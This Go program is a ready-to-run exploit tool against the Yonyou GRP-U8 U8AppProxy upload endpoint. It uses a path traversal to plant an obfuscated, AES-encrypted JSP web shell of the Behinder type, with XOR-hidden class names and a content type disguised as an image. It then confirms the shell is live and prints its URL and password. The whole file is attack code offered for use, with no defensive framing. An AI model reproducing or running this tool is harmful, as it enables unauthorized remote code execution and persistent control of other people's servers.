package main

import (
	"crypto/md5"
	"crypto/tls"
	"encoding/hex"
	"fmt"
	"github.com/hpifu/go-kit/hflag"
	"github.com/imroc/req/v3"
	"github.com/liushuochen/gotable"
	"github.com/thanhpk/randstr"
	"net/http"
	"strconv"
	"strings"
	"time"
)

func main() {
	flag := getFlag()
	if flag == "" {
		fmt.Println("[x] 目标地址不可为空")
		return
	}
	uploader(flag)
}

func yyGRPU8AppProxyHttpClient() *req.Client {
	cli := req.C()
	cli.SetAutoDecodeAllContentType()                           //设置自动解码
	cli.SetRedirectPolicy(req.NoRedirectPolicy())               //设置不跟随重定向
	cli.SetTLSFingerprintSafari()                               // 设置模拟safari的指纹
	cli.TLSClientConfig = &tls.Config{InsecureSkipVerify: true, // 不校验tls证书错误
		MinVersion: tls.VersionTLS10, //最小tls版本 1.0
		MaxVersion: tls.VersionTLS13} //最大tls版本 1.3
	cli.SetTimeout(time.Second * 15) //超时时间 15秒
	return cli
}

func generateFilename() string {
	name := randstr.Hex(8)
	return name
}

func generatePassword() string {
	pass := randstr.Hex(12)
	return pass
}

func getFlag() string {
	hflag.AddFlag("target", "设置目标地址", hflag.Required(), hflag.Shorthand("t"))
	if err := hflag.Parse(); err != nil {
		fmt.Println(hflag.Usage())
		return ""
	}
	return hflag.GetString("target")
}
func uploader(host string) {
	client := yyGRPU8AppProxyHttpClient()
	filename := generateFilename()
	password := generatePassword()
	vulURL := strings.Replace(host+"/U8AppProxy?gnid=myinfo&id=saveheader&zydm=../../"+filename, "//U8", "/U8", 1)
	hash := md5.New()
	hash.Write([]byte(password))
	sum := hash.Sum(nil)
	md5Hash := hex.EncodeToString(sum)
	md5hash0216 := md5Hash[0:16]
	postData := "<%! public byte[] AN18E(String Strings,String k) throws Exception { javax.crypto.Cipher BHD863 = javax.crypto.Cipher.getInstance(\"AES/ECB/PKCS5Padding\");BHD863.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName(\"javax.crypto.spec.SecretKeySpec\").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), \"AES\"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = \"\";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null);bytes =  (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = \"\";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) BHD863.getClass()./*Z0Ey3Z6Fx8*/getDeclaredMethod/*Z0Ey3Z6Fx8*/(\"doFinal\", new Class[]{byte[].class}).invoke(BHD863,new Object[]{bytes});return result;} %><%  try {  String K94RG00 = \"" + md5hash0216 + "\";  session.putValue(\"u\", K94RG00);  byte[] Iduj866 = AN18E (request.getReader().readLine(),K94RG00);  java./*Z0Ey3Z6Fx8*/lang./*Z0Ey3Z6Fx8*/reflect.Method AN18E = Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod/*Z0Ey3Z6Fx8*/(\"defineClass\",byte[].class,int/**/.class,int/**/.class);  AN18E.setAccessible(true);  Class i = (Class)AN18E.invoke(Thread.currentThread()./*Z0Ey3Z6Fx8*/getContextClassLoader(), Iduj866 , 0, Iduj866.length);  Object Q2Z7 = i./*Z0Ey3Z6Fx8*/newInstance();  Q2Z7.equals(pageContext); } catch (Exception e) {} %>"

	reqHeaders := map[string]string{
		"Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
		"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
		"Accept-Encoding": "gzip, deflate",
		"Connection":      "close",
		"Cookie":          "JSESSIONID=" + randstr.Hex(32),
		"Content-Length":  strconv.Itoa(len(postData)),
	}
	for key, val := range reqHeaders {
		client.SetCommonHeader(key, val)
	}
	post, _ := client.R().EnableForceMultipart().SetFileBytes("file", "qaxnb.jsp", []byte(postData)).SetContentType("image/png").Post(vulURL)
	defer func() {
		_ = post.Body.Close()
	}()
	if post.StatusCode == http.StatusInternalServerError {
		shellURL := strings.Replace(host+"/"+filename+".jsp", "//"+filename, "/"+filename, 1)
		get, _ := client.R().Get(shellURL)
		defer func() {
			_ = get.Body.Close()
		}()
		if get.StatusCode == http.StatusOK {
			tab, _ := gotable.Create("Shell连接工具", "Shell连接地址", "Shell连接密码")
			_ = tab.AddRow([]string{
				"冰蝎/Behinder", shellURL, password,
			})
			fmt.Println(tab)
		} else {
			fmt.Println("Shell未找到,疑似被杀")
		}
	} else {
		fmt.Println("漏洞已修复,换个漏洞吧.")
	}
}
